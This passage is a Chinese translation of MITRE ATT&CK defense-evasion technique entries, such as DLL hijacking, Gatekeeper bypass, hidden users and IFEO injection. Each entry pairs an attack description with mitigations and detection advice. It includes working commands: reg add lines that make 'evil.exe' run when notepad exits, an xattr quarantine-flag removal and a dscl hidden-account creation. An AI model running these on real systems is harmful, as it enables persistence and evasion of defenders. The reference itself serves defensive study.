绕过的防御：防病毒，主机入侵防御系统，基于签名的检测、网络入侵检测系统

贡献者：Matthew Demaske，Adaptforward；Red Canary

版本：1.0

攻击者可能会使用模糊文件或信息来掩藏其入侵行为，躲避分析。他们可能需要单独的机制来解码或去除模糊信息，具体取决于他们打算如何使用这些信息。方法包括内置恶意软件、脚本、PowerShell，或者使用系统上的实用程序。

其中一个例子是使用 certutil 对隐藏在证书文件中的远程访问工具可移植可执行文件进行解码。

另一个例子是使用 Windows `copy /b` 命令将二进制片段重组为恶意负载。

负载可以压缩、存档或加密以避免被发现。在初始访问期间或之后，这些负载可与模糊文件或信息一起使用，以减少检测。有时，可能需要用户执行操作来打开文件才能去模糊化或解密。可能还会需要用户输入密码来打开攻击者提供的用密码保护的压缩/加密文件。攻击者也可能使用压缩或归档的脚本，比如 Javascript。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

检测文件或信息的去模糊化或解码操作可能很困难，具体取决于实现。如果该功能包含在恶意软件中并使用 Windows API，则在操作之前或之后尝试检测恶意行为可能会产生比尝试分析加载库或 API 调用更好的结果。如果使用了脚本，则可能需要收集脚本进行分析。监控进程和命令行来检测与脚本和系统实用程序（如 certutil）相关的潜在恶意行为。

监控常见存档文件应用程序和扩展程序（如 ZIP 和 RAR 存档工具）的执行文件路径和命令行参数，并与其他可疑行为关联，从而减少正常用户和管理员行为的误报。

## 5.15 禁用安全工具

编号：T1089

技术：防御逃逸

平台：Linux，macOS，Windows

数据源：API 监控，文件监控，服务，Windows 注册表，进程命令行参数，防病毒

绕过的防御：文件监控，主机入侵防御系统，基于签名的检测，日志分析，防病毒

CAPEC 编号：CAPEC-578

版本：1.0

攻击者可能会采用如下形式禁用安全工具来避免其工具和活动被检测到：杀死安全软件或事件日志进程、删除注册表项以使工具运行时不启动，或采用其他方法干扰安全扫描或事件报告。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 文件和目录权限限制 | 确保已经有适当的进程、注册表和文件权限，防止攻击者禁用或干扰安全服务。 |
| 用户账号管理 | 确保已有适当的用户权限，防止攻击者禁用或干扰安全服务 |

检测

监控进程和命令行参数来查看安全工具是否已经终止或停止运行。监控注册表编辑来查看是否修改了安全工具对应的服务和启动程序。缺少日志或事件文件报告可能是可疑的。

## 5.16 DLL 搜索顺序劫持

编号：T1038

技术：持久化，权限升级，防御逃逸

平台：Windows

系统要求：能够添加动态链接库，清单文件或.local 文件、目录或连接

所需权限：用户，管理员，系统

有效权限：用户，管理员，系统

数据源：文件监控，动态链接库监控，进程监控，进程命令行参数

绕过的防御：进程白名单

CAPEC 编号：CAPEC-471

贡献者：Stefan Kanthak；Travis Smith，Tripwire

版本：1.0

Windows 系统使用常用方法来查找加载到程序中的必要的动态链接库。攻击者可能会利用 Windows 动态链接库搜索顺序以及模糊指定动态链接库的程序来获得权限提升和持久性。

攻击者可能会通过在 Windows 的合法动态链接库之前的搜索位置放置与模糊指定的动态链接库同名的恶意动态链接库来实现预加载，也称为二进制植入攻击。 通常，此位置是程序的当前工作目录。当程序在加载动态链接库之前将其当前目录设置为远程位置（如 web 共享）时，会发生远程动态链接库预加载攻击。攻击者的此行为会导致程序加载恶意动态链接库。

攻击者还可能会通过替换现有动态链接库或修改.manifest 或.local 重定向文件、目录或联结来直接修改程序加载动态链接库的方式，使得程序加载不同的动态链接库来维持持久性或获得权限提升。

如果搜索顺序易受攻击的程序配置为需更高权限级别运行，则加载的攻击者控制的动态链接库也将以更高级别执行。在这种情况下，该技术可用于从用户到管理员/系统或从管理员到系统的权限提升，具体取决于程序。

受路径劫持影响的程序的行为可能看起来是正常的，因为恶意动态链接库可能配置为加载它们要替换的合法动态链接库。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审核 | 使用审核工具来检测企业系统中动态链接库搜索顺序劫持情况并对检测到的情况进行纠正。像 PowerSploit 框架这样的工具包包含 PowerUp 模块，可用于探索系统中的动态链接库劫持漏洞。 |
| 执行预防 | 攻击者可能会使用新的动态链接库来实施此技术。使用能够阻止合法软件加载动态链接库的应用白名单解决方案来识别并阻止通过搜索顺序劫持执行的潜在恶意软件。 |
| 库加载限制 | 禁止加载远程动态链接库。默认情况下，这包含在 Windows Server 2012+中，也可以在 XP +和 Server 2003+上打补丁来获得。启用 Safe DLL Search Mode 来强制在搜索本地目录 (例如用户家目录) 之前先搜索具有更大限制的目录 (例如 `%SYSTEMROOT%`)。可以通过组策略在以下路径启用 Safe DLL Search Mode：配置 > [策略] > 管理模板 > MSS（旧版）：MSS：（SafeDllSearchMode）Enable Safe DLL search mode。相关的 Windows 注册表项位于 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode。` |

检测

监控文件系统来查看是否有动态链接库移动，重命名，替换或修改行为。若进程加载的动态链接库集（与过去的行为相比）中的变化与已知软件、补丁等无关，则这些变化是可疑的。监控加载到进程中的动态链接库，并检测具有相同文件名但路径异常的动态链接库。修改或创建与软件更新无关的.manifest 和.local 重定向文件是可疑的。

# 5.17 DLL 侧载

编号：T1073

技术：防御逃逸

平台：Windows

| |
|---|
| 数据源：网络进程使用，进程监控，已加载动态链接库<br>绕过的防御：进程白名单，防病毒<br>版本：1.0 |

程序可能会指定运行时加载的动态链接库。如果程序错误地或含糊地指定了所需动态链接库，它可能会面临加载意外动态链接库的漏洞。附带加载漏洞尤其会在 Windows 并列（WinSxS）清单文件中的待加载动态链接库特征不够明显时发生。攻击者可能会利用易受附带加载漏洞攻击的合法程序来加载恶意动态链接库。

攻击者可能会使用这种技术来掩盖他们在合法、可信的系统或软件进程中执行的操作。

缓解

| 缓解措施 | 说明 |
|---|---|
| 审核 | 使用 Windows 附带的 sxstrace.exe 程序以及手动方式来检查清单文件是否存在软件附带加载漏洞。 |
| 文件和目录权限限制 | 在写保护位置安装软件。 |
| 软件升级 | 定期更新软件，包括安装动态链接库附带加载漏洞的修复补丁。 |

检测

监控进程的异常活动（例如，不使用网络的进程开始这使用网络）。跟踪动态链接库元数据（比如哈希），将进程执行时加载的动态链接库与以前的执行进行比较，检测与打补丁或软件更新无关的活动。

# 5.18 执行护栏

| |
|---|
| 编号： T1480<br>技术： 防御逃逸<br>平台： Linux, macOS, Windows<br>所需权限： 用户<br>数据源： 进程监控<br>绕过的防御: 防病毒、主机取证分析、基于签名的检测、静态文件分析<br>贡献者: Nick Carr, FireEye<br>版本： 1.0 |

执行护栏基于预期在目标上存在的对手提供的环境特定条件来约束执行或动作。

护栏确保有效负载仅针对预期目标执行，并减少对手战役造成的附带损害。攻击者可以提供的目标系统或环境作为护栏的值，可能包括特定的网络共享名称、附加的物理设备、文件、加入的活动目录 （AD） 域和本地/外部 IP 地址。

环境密钥是一种类型的护栏，包括用于从给定计算环境中的特定类型的值派生加密/解密密钥的加密技术。值可以从目标特定元素派生，并用于为加密的有效负载生成解密密钥。目标特定值可以从特定网络共享、物理设备、软件/软件版本、文件、已加入的 AD 域、系统时间和本地/外部 IP 地址派生。通过从目标特定的环境值生成解密密钥，环境密钥设置会使沙盒检测、防病毒检测、信息众包和逆向工程变得困难。这些困难会减慢事件响应过程，并帮助对手隐藏其战术、技术和过程 （TAP）。

与模糊文件或信息类似，对手可能使用护栏和环境键控来帮助保护他们的 TSP 和逃避检测。例如，环境密钥可用于向目标传递加密的有效负载，该目标将使用目标特定值在执行之前解密负载。通过使用目标特定值解密负载，攻击者可以避免将解密密钥打包到有效负载中，或者通过可能受监视的网络连接发送。根据收集目标特定值的技术，加密有效负载的反向工程可能异常困难。通常，护栏可用于防止在不希望在内部受到破坏或操作的环境中暴露功能。护栏的这种使用不同于典型的虚拟化/沙箱逃避，其中可以做出不进一步参与的决定，因为对手指定的价值条件是针对特定目标的，而不是它们可以在任何环境中发生。

### 缓解

| 缓解方法 | 说明 |
| --- | --- |
| 不用缓解 | 执行护栏可能不应通过预防性控制来缓解，因为它可能会保护意外目标不受危害。如果目标明确，应重点防止对手工具在活动链中更早运行，并在受到攻击时识别后续恶意行为。 |

### 检测

根据实现的不同，检测环境键控操作可能很困难。监控正在生成的可疑进程，这些进程收集各种系统信息或执行其他形式的发现，尤其是在短时间内，可能有助于检测。

## 5.19 利用漏洞进行防御逃逸

编号： T1211

技术： 防御逃逸

平台： Linux, Windows, macOS

所需权限： 用户

| |
|---|
| 数据源： Windows 错误报告，进程监控，文件监控 |
| 绕过的防御： 防病毒、系统访问控制 |
| 贡献者: John Lambert, Microsoft Threat Intelligence Center |
| 版本： 1.0 |

当攻击者利用程序、服务或操作系统软件或内核本身中的编程错误来执行攻击者控制的代码时，就会发生软件漏洞的利用。防御安全软件中可能存在漏洞，可用于禁用或规避这些漏洞。

攻击者可能事先知道，侦察安全软件存在于环境中，或者他们可能在系统被泄露安全软件发现期间或不久后进行检查。安全软件可能会直接成为利用的目标。有防病毒软件被持久威胁组作为攻击目标，以避免检测的示例。

## 缓解

| **缓解措施** | **说明** |
|---|---|
| 应用程序隔离和沙盒 | 使对手难以通过使用沙盒利用未发现或未修补的漏洞来推进其操作。其他类型的虚拟化和应用程序微细分也可能减轻某些类型的开发的影响。这些系统中可能存在更多漏洞和弱点的风险。 |
| 漏洞利用保护 | 用于查找在利用期间使用的行为的安全应用程序，如 Windows 防御者漏洞利用防护 （WDEG） 和增强型缓解体验工具包 （EMET），可用于缓解某些利用行为。控制流完整性检查是潜在识别和阻止软件漏洞发生的另一种方法。其中许多保护依赖于体系结构和目标应用程序二进制兼容性，并且可能不适用于针对防御规避的软件。 |
| 威胁情报计划 | 开发强大的网络威胁情报功能，以确定哪些类型和级别的威胁可能使用软件漏洞和零日漏洞针对特定组织。 |
| 更新软件 | 通过为内部企业端点和服务器采用修补程序管理来定期更新软件。 |

## 检测

在系统遭到破坏后不久，可能会利用防御规避，以防止在以后操作中检测可能引入和使用的其他工具。根据可用的工具，检测软件利用可能很困难。软件漏洞可能并不总是成功，或者可能导致被利用的进程变得不稳定或崩溃。还要在系统上查找可能指示成功危害的行为，例如进程的异常行为。这可能包括写入磁盘的可疑文件、用于隐藏执行或发现证据的流程注入证据。

# 5.20 EWM 注入

| |
|---|
| 编号： T1181 |
| 技术： 防御逃逸，权限升级 |
| 平台： Windows |
| 所需权限： 管理员，系统 |
| 数据源： API 监控，进程监控 |
| 绕过的防御： 防病毒、主机执行保护、数据执行保护 |
| 版本： 1.0 |

在创建窗口之前，基于 Windows 的图形进程必须规定或注册一个窗口类，该类规定外观和行为（通过 windows 过程，这是处理数据输入/输出的函数）。新 windows 类的注册可以包括请求将最多 40 字节的额外窗口内存 （EWM） 追加到该类的每个实例的分配内存中。此 EWM 用于存储特定于该窗口的数据，并且具有特定的应用程序编程接口 （API） 函数来设置和获取其值。

EWM 虽然很小，但足够存储 32 位指针，通常用于指向窗口过程。恶意软件可能在攻击链的一部分中利用此内存位置，包括将代码写入进程内存的共享部分，在 EWM 中放置指向代码的指针，然后通过将执行控制返回到进程的 EWM 中的地址来调用执行。

通过 EWM 注入授予的执行可能在单独的实时进程的地址空间中进行。与进程注入类似，这可以允许访问目标进程的内存和可能提升的权限。将有效负载写入共享部分还避免使用高度监视的 API 调用，如写入过程内存和创建远程线程。更复杂的恶意软件样本还可能通过触发窗口过程和其他系统功能的组合来绕过保护机制，例如数据执行保护（DEP），这些功能将重写目标进程的可执行部分内的恶意负载。

## 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能的滥用.

## 检测

监控与枚举和操作 EWM 相关的 API 调用，如 GetWindowLong 和 SetWindowLong 。与此技术关联的恶意软件还使用 SendNotifyMessage 来触发关联的窗口过程和最终的恶意注入。

# 5.21 文件删除

编号：T1107

技术：防御逃逸

平台：Linux，macOS，Windows

所需权限：用户

数据源：文件监控，进程命令行参数，二进制文件元数据

绕过的防御：主机取证分析

贡献者：Walker Johnson

版本：1.0

攻击者在系统上丢弃或创建恶意软件、工具或其他非本机文件，可能会留下在网络中所做事情和如何做的痕迹。攻击者可能会在入侵过程中删除这些文件减少他们的行动足迹，或者在入侵后清理过程的最后删除文件。

主机操作系统提供了清理工具，但攻击者也可能使用其他工具。例如，本地 CMD 函数（如 DEL）、安全删除工具（如 Windows Sysinternals sDelete），或其他第三方文件删除工具。

## 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

## 检测

环境中与良性命令行功能（如 DEL 或第三方实用程序或工具）相关的事件可能不常见，具体取决于用户群和系统的典型使用方式。监控命令行删除功能从而发现攻击者丢弃和删除的二进制或其他的文件可能会导致恶意活动检测。另一个好的实践是监控已知的删除和安全删除工具，这些工具不在攻击者可能会使用的企业网络的系统上。某些监控工具可能会收集命令行参数，但可能不会捕获 DEL 命令，因为 DEL 是 cmd.exe 自带的函数。

# 5.22 文件权限修改

编号：T1222

技术：防御逃逸

平台：Linux，Windows，macOS

所需权限：用户，管理员，系统，root

数据源：文件监控，进程监控，进程命令行参数，Windows 事件日志

绕过的防御：文件系统访问控制

贡献者：Jan Miller，CrowdStrike

| 版本：1.0 |
| --- |

文件权限通常由文件属主指定的 DACL（自由访问控制列表）管理。文件 DACL 的实现可能因平台而异，但通常会明确指定哪些用户/组可以执行哪些操作（例如：读、写、执行等）。

攻击者可能会修改文件权限/属性从而避开预期的 DACL。他们可能会更改特定的访问权限来实施恶意活动，如修改、替换或删除特定文件。前提是根据文件的现有权限取得文件的所有权和/或提升权限（如管理员/根用户权限）。修改特定文件可能是许多技术必需的步骤，例如通过辅助功能、登录脚本建立持久性，或者污染/劫持其他工具二进制/配置文件。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

监控和调查试图修改 DACL 和文件所有权的行为，例如在 Windows 中使用 icacls、takeown、attrib 和 PowerShellSet-Acl，在 macOS/Linux 中使用 chmod/chown。其中许多是系统内置的实用程序，可能会导致高误报率。因此请与基线知识进行比较来看看系统通常是如何使用的，并在可能的情况下将修改事件与其他恶意活动行为关联。

考虑对包含关键二进制/配置文件的文件夹启用文件权限更改审核。修改 DACL 时使用 Windows 安全日志事件（事件 4670）。

## 5.23 文件系统逻辑偏移

编号： T1006

技术：防御逃逸

平台： Windows

所需权限： 管理员

数据源： API 监控

绕过的防御:文件监测，文件系统访问控制

版本： 1.0

Windows 允许程序直接访问逻辑卷。具有直接访问权限的程序可以通过分析文件系统数据结构直接从驱动器读取和写入文件。此技术绕过 Windows 文件访问控件以及文件系统监视工具。

某些程序（如 NinjaCopy）有能力在 PowerShell 中执行这些操作。

### 缓解

这种类型的攻击技术无法通过预防性控制得到缓解，因为它是基于系统功能的滥用。

### 检测

监视器句柄在进程制作的驱动器卷上打开，以确定它们何时可以直接访问逻辑驱动器。

监视进程和命令行参数，以监控从逻辑驱动器复制文件并逃避常见文件系统保护的操作。由于此技术也可通过 PowerShell 使用，因此建议对 PowerShell 脚本进行其他日志记录。

## 5.24 关守绕过

编号：T1144

技术：防御逃逸

平台：macOS

所需权限：用户，管理员

绕过的防御：应用白名单，防病毒

版本：1.0

MacOS 和 OS X 中，应用或程序从 Internet 下载时，会在 `com.apple.quarantine` 文件中设置一个特殊属性。执行时，苹果公司的关守防御程序会读取这个属性，并会提示用户允许或拒绝执行。

应用从 USB 盘、光盘、外接硬盘，甚至本地网络共享驱动器加载到系统上时，不会设置此标志。此外，其他实用程序或事件（如路过式下载）也不必设置此标志。这样就完全绕过了内置关守检查。是否有隔离标志可以使用针对 `com.apple.quarantine` 的 xattr 命令 `xattr /path/to/MyApp.app` 来检查。类似地，如果有 sudo 访问权限或提升的权限，也可以使用 xattr 命令 `sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app` 来删除此属性。

在典型操作中，文件将从 Internet 下载，并在保存到磁盘之前打上隔离标志。当用户试图打开文件或应用时，MacOS 的关守将介入并检查是否存在此标志。如果存在此标志，那么 MacOS 会提示用户确认运行程序，甚至会给出应用 URL。但是，这一切的前提是文件是从智能隔离应用下载的。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 配置系统设置来阻止运行非通过 Apple Store 下载的应用，这有助于减少一些问题的发生。 |

### 检测

监控用户而非操作系统删除 `com.apple.quarantine` 标志的行为是可疑操作，应进一步检查。

## 5.25 组策略修改

| | |
|---|---|
| 编号： | T1484 |
| 技术： | 防御逃逸 |
| 平台： | Windows |
| 所需权限： | 管理员，用户 |
| 数据源： | Windows 事件日志 |
| 绕过的防御： | 系统访问控制，文件系统访问控制 |
| 贡献者: | Itamar Mizrahi; Tristan Bennett, Seamless Intelligence |
| 版本： | 1.0 |

攻击者可能会修改组策略对象 （GPO） 以颠覆域的预期任意访问控制，通常目的是提升域上的权限。

组策略允许在活动目录 （AD） 中集中管理用户和计算机设置。GPO 是组策略设置的容器，由存储在可预测网络路径中的文件组成 [<DOMAIN>[SYSVOL]<DOMAIN>[策略]。

与 AD 中的其他对象一样，GPO 具有与其关联的访问控制。默认情况下，域中的所有用户帐户都有权读取 GPO。可以将 GPO 访问控制权限（例如写入访问权限）委派给域中的特定用户或组。

恶意 GPO 修改可用于实现计划任务、禁用安全工具、远程文件复制、创建帐户、服务执行等。

由于 GPO 可以控制 AD 环境中如此多的用户和计算机设置，因此存在大量潜在的攻击，这些攻击可能源于此 GPO 滥用。可以利用 New-GPO"紧急任务"等公开脚本，通过修改 GPO 设置（在此情况下修改 `<GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml` 来自动创建恶意计划任务。在某些情况下，攻击者可能会修改特定的用户权限，如 seEnableDelegationPrivilege，在 `<GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf` 中设置，以实现一个微妙的 AD 后门，并完全控制域，因为用户然后，在攻击者的控制下的帐户将能够修改 GPO。

### 缓解

| 缓解措施 | 说明 |
|---|---|
| 审计 | 使用" Bloodhound "（版本 1.5.1 及更高版本）识别和纠正 GPO 权限滥用机会（例如：GPO 修改权限）。 |

| | |
|---|---|
| 用户账户管理 | 请考虑实施 WMI 和安全筛选，以进一步定制 GPO 将应用于哪些用户和计算机。 |

### 检测

通过使用 Windows 事件日志监视目录服务更改，可以检测 GPO 修改。对于此类 GPO 修改，可以记录几个事件，包括：*事件 ID 5136* - 目录服务对象被修改，*事件 ID 5137* - 已创建目录服务对象事件， *事件 ID 5138* - 目录服务对象未删除事件，*事件 ID 5139* - 目录服务对象已移动* *事件 ID 5141* - 目录服务对象已删除

GPO 滥用通常伴随着一些其他行为，如计划任务，其中将具有与其关联的事件可用于被检测。后续权限值修改（如对 SeEnableDelegationPrivilege 的修改）也可以在与分配给新登录的权限（事件 ID 4672）和用户权限分配（事件 ID 4704）关联的事件中搜索。

## 5.26 隐藏文件和目录

编号：T1158

技术：防御逃逸，持久化

平台：Linux，macOS，Windows

所需权限：用户

数据源：文件监控，进程监控，进程命令行参数

绕过的防御：主机取证分析

版本：1.0

为了防止普通用户意外更改系统上的特殊文件，大多数操作系统都有“隐藏文件”的概念。当用户使用 GUI 浏览文件系统或在命令行上使用普通命令时，这些文件不会显示。用户必须通过一系列 GUI 提示或命令行开关（Windows 的 `dir /a`，Linux 和 macOS 的 `ls -a`）明确要求才能显示隐藏的文件。

攻击者可能会利用这一点，将文件和文件夹隐藏在系统上的任何位置，从而获得持久性并规避不包含隐藏文件调查的典型用户或系统分析。

### Windows

用户可以使用 attrib.exe 二进制文件将特定文件标记为隐藏。他们只需使用 `attrib +h filename` 就可将文件或文件夹标记为隐藏。类似地，可以使用“+ s”将文件标记为系统文件，使用“+ r”将文件标记为只读。与大多数 Windows 二进制文件一样，attrib.exe 二进制文件提供了以递归方式（/ S）应用这些更改的能力。

### Linux/Mac

用户只需输入“.”作为文件名或文件夹名的第一个字符，就可以将特定文件标记为隐藏。默认情况下，以句点“.”开头的文件和文件夹在 Finder 应用和标准命令行实用程序（如“ls”）中不显示。用户必须专门更改设置才能查看这些文件。对于使用命令行的情况，通

常可用一个标志来查看所有文件（包括隐藏的文件）。要在 Finder 应用中查看这些文件，必须执行 `defaults write com.apple.finder AppleShowAllFiles YES` 命令并重新启动 Finder 应用。

### Mac

MacOS 上的文件如果带 uf_hidden 标记，那么在 finder.app 中看不到文件，但在 terminal.app 中仍可以看到。许多应用程序使用隐藏文件和文件夹来存储信息，这样就不会使用户的工作区变得杂乱无章。例如，SSH 实用程序创建一个隐藏的.ssh 文件夹，用于存储用户的已知主机和密钥信息。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

监控文件系统和 shell 命令来查看是否有正在创建的文件名以“.”字符开头，以及是否有通过 Windows 命令行使用 attrib.exe 添加隐藏属性的情况。

## 5.27 隐藏用户

| | |
|---|---|
| 编号： | T1147 |
| 技术： | 防御逃逸 |
| 平台： | macOS |
| 所需权限： | 管理员, root 用户 |
| 数据源： | 认证日志, 文件监控 |
| 版本： | 1.0 |

macOS 中的每个用户帐户都有一个与其关联的用户 ID。创建用户时，可以为该帐户指定用户 ID。在 `/Library/Preferences/com.apple.loginwindow` 中有一个属性值，称为 Hide500Users 用户，该属性值可防止用户 ID 500 和更低用户出现在登录屏幕。通过使用用户 ID 低于 500 的创建帐户技术并启用此属性（将其设置为"Yes"），攻击者可以更轻松地隐藏其用户帐户：`sudo dscl . -create /Users/username UniqueID 401` [1]。

### 缓解

| 缓解措施 | 说明 |
|---|---|
| 操作系统配置 | 如果计算机已加入域，则组策略可帮助限制创建或隐藏用户的能力。同样，禁止修改 `/Library/Preferences/com.apple.loginwindow Hide500Users` 的值将强制对所有用户可见。 |

### 检测

此技术可防止新用户显示在登录屏幕中，但新用户的所有其他迹象仍然存在。用户仍获取主目录，并将显示在身份验证日志中。

## 5.28 隐藏窗口

编号： T1143

技术： 防御逃逸

平台： macOS

所需权限： 用户

数据源： 文件监控

版本： 1.0

属性列表 （plist） 文件中列出了应用程序如何在 macOS 和 OS X 上运行的配置。这些文件中的标记之一可以是 apple.awt.UIElement，它允许 Java 应用程序防止应用程序的图标出现在 Dock 中。这样做的一个常见用途是希望应用程序在系统托盘中运行时，不显示在 Dock 中。但是，攻击者可能会滥用此功能并隐藏其运行窗口。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行限制 | 允许具有此 plist 标记的白名单程序。所有其他程序应视为可疑程序。 |

### 检测

Plist 文件是具有特定格式的 ASCII 文本文件，因此它们相对容易分析。文件监视可以检查 apple.awt.UIElement 或任何其他可疑的 plist 标记，并标记它们。

## 5.29 HISTCONTROL

编号： T1148

技术： 防御逃逸

平台： Linux, macOS

所需权限： 用户

数据源：进程监控，认证日志，文件监控，环境变量

绕过的防御: 日志分析，主机司法分析

版本： 1.0

`HISTCONTROL` 环境变量跟踪由历史记录命令保存的内容，并在用户注销时最终保存到 `~/.bash_history` 中。此设置可以配置为忽略以空格开头的命令，只需将其设置为"忽略空格"。。还可以通过将重复命令设置为"忽略"，将其设置为忽略重复的命令。在某些 Linux 系统中，默认情况下，这一点设置为"忽略两者"，这涵盖了前面的两个示例。这意味着"ls"将不会保存，但"ls"将被历史记录保存。默认情况下，macOS 上不存在 `HISTCONTROL` ，但用户可以设置并受保护。攻击者只需预先将空间预置到其所有终端命令，即可使用此操作而无需留下痕迹。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 环境变量权限 | 禁止用户修改 `HISTCONTROL` 环境变量。 |
| 操作系统配置 | 确认 `HISTCONTROL` 环境变量被设置为"ignoredup"而不是"ignoreboth"或者"ignorespace"。 |

检测

将用户会话与其 `.bash_history` 中明显缺少新命令相关联可能是可疑行为的线索。此外，用户检查或更改其 `HISTCONTROL` 环境变量的行为也是可疑的。

# 5.30 图像文件执行选项注入

编号: T1183

技术： 权限升级，持久化，防御逃逸

平台： Windows

所需权限： 管理员，系统

数据源： 进程监控，Windows 注册表，Windows 事件日志

绕过的防御: Autoruns Analysis

贡献者: Oddvar Moe, @oddvarmoe

版本： 1.0

图像文件执行选项能够让开发者把调试器附加到一个程序上。 当进程创建时，存在于图像文件执行选项上的调试器会被预置到程序名称前，并启动一个新的进程(比如, "C:\dbg\ntsd.exe -g notepad.exe")。

图像文件执行选项可以在注册表直接设置或者通过 GFlags 工具设为全局标记。图像文件执行选项作为调试参数值存在于以下注册表位置 `HKLM\SOFTWARE{{\Wow6432Node}}\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\`，其值对应一个可执行程序，并且被调试器附加上。

当特定的程序静默退出时，图像文件执行选项也能够启动任意监控程序(比如，当被自身或者另一个非内核级进程永久终止时)。类似于调试器，静默退出监控可以通过 GFlags 工具开启或者直接修改图像文件执行选项在注册表项中的配置 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SilentProcessExit\`。

比如：当 notepad.exe 退出时，evil.exe 进程会启动：

- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512`
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1`
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"`

类似于进程注入，这些值可能会被滥用以获得持久性和权限提升，因为它们会导致在计算机上不同进程的上下文中加载和运行恶意可执行文件。安装图像文件执行选项的方法还可能通过连续调用提供持久性存储。

恶意软件还可以通过注册无效的调试器来利用图像文件执行选项进行防御规避，这些调试器会转向并有效地禁用各种系统和安全应用程序。

## 缓解

由于这种攻击技术是基于系统功能的滥用，因此无法通过预防性控制来轻易缓解。

## 检测

监控在异常父进程下创建的正常进程，或者具有调试性的进程创建标识，比如 `DEBUG_PROCESS` 和 `DEBUG_ONLY_THIS_PROCESS`。

监控与安装图像文件执行选项有关联的注册表值，以及监控进程静默退出，还有与已知软件、补丁程序等不相关的修改。监视和分析与注册表编辑有关的应用程序编程接口（API）调用，比如 regcreatekeyex 和 regsetvalueex。

# 5.31 指示信号拦截

编号：T1054

技术：防御逃逸

平台：Windows

数据源：传感器健康和状态、进程命令行参数、进程监控

绕过的防御：防病毒，日志分析，主机入侵防御系统

CAPEC 编号：CAPEC-571

版本：1.0

攻击者可能会试图阻止收集和分析通常由传感器捕获的指示或事件，包括修改存储在配置文件和/或注册表项中的传感器设置，从而禁用或恶意重定向事件遥测。如果指标信息是通过网络上报的，攻击者可能会阻断上报流量来躲避中心分析。这可以通过多种方式来实现，例如停止负责转发遥测的本地进程和/或创建基于主机的防火墙规则来阻断到负责聚合事件的特定主机的通信，例如 SIEM（安全信息和事件管理）产品。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 文件和目录权限限制 | 确保事件跟踪器/转发器、防火墙策略和其他相关机制已通过适当的权限和访问控制进行了保护。 |
| 软件配置 | 考虑定期（例如，临时、登录时）自动重启转发机制，以及对防火墙规则和其他相关系统配置实施适当的更改管理。 |
| 用户账号管理 | 确保事件跟踪器/转发器、防火墙策略和其他相关机制已通过适当的权限和访问控制进行了保护，并且不能由用户账号操控。 |

检测

检测主机传感器是否缺少报告活动。不同的阻塞方式可能会导致不同的报告中断形式。系统可能会突然停止报告所有数据或仅报告某些类型的数据。

根据收集的主机信息的类型，分析人员可能会检测到触发进程停止或连接阻断的相关事件。

# 5.32 删除工具中指标

编号： T1066

技术： 防御逃逸

平台： Linux, macOS, Windows

| |
|---|
| 数据源： 进程使用网络，进程监控，进程命令行参数，杀毒软件，二进制文件元数据 |
| 绕过的防御：日志分析，主机入侵防御系统，杀毒软件 |
| 版本： 1.0 |

如果检测到恶意工具并隔离或以其他方式缩减，攻击者也许能够确定恶意工具被检测到的原因（指示器），通过删除指示器修改该工具，并使用可以不再被目标的防御系统或可能使用类似系统的后续目标所能探测到的更新后的版本。

这方面的一个好例子是，当恶意软件检测到文件签名，并通过防病毒软件隔离。可以确定恶意软件因其文件签名而隔离的攻击者可以使用"软件打包"或以其他方式修改文件，使其具有不同的签名，然后重复使用恶意软件。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能的滥用。

### 检测

首次检测到恶意工具可能会触发防病毒或其他安全工具警报。通过网络 IDS、电子邮件扫描设备等，也可能在边界上发生类似事件。初始检测应视为潜在地更具侵入性的入侵迹象。警报系统应彻底调查以找出超出初始警报未检测到的活动。假设不会调查单个事件（如防病毒检测）或分析人员无法将该事件与网络上发生的其他活动进行结论性地联系起来，则攻击者可能会继续执行操作。

## 5.33 删除主机上指示信息

| |
|---|
| 编号：T1070 |
| 技术：防御逃逸 |
| 平台：Linux，macOS，Windows |
| 系统要求：清除 Windows 事件日志需要管理员权限 |
| 数据源：文件监控，进程监控，进程命令行参数，API 监控，Windows 事件日志 |
| 绕过的防御：日志分析，主机入侵防御系统，防病毒 |
| CAPEC 编号：CAPEC-93 |
| 贡献者：Ed Williams，Trustwave，SpiderLabs |
| 版本：1.0 |

攻击者可能会删除或更改主机系统上的生成物，包括日志和捕获的文件，例如隔离的恶意软件。尽管日志的位置和格式会有所不同，但典型的有机系统日志会被捕获为 Windows 事件或 Linux/MacOS 文件，如 Bash History 和/var/log/*。

事件干扰操作和其他可用于检测入侵活动的通知可能会损害安全解决方案的完整性，导致事件无法报告。它们也可能会导致取证分析和事件响应变得更加困难，因为它们缺乏足够的数据来确定发生了什么。

### 清除 Windows 事件日志

Windows 事件日志是计算机警报和通知记录。微软将事件定义为“系统或程序中需要通知用户或将条目添加到日志中的任何重要事件”。有三个系统定义的事件源：系统、应用和安全。

执行账号管理、账号登录和目录服务访问等相关操作的攻击者可以选择清除事件来隐藏其活动。

可以使用以下实用程序命令清除事件日志：

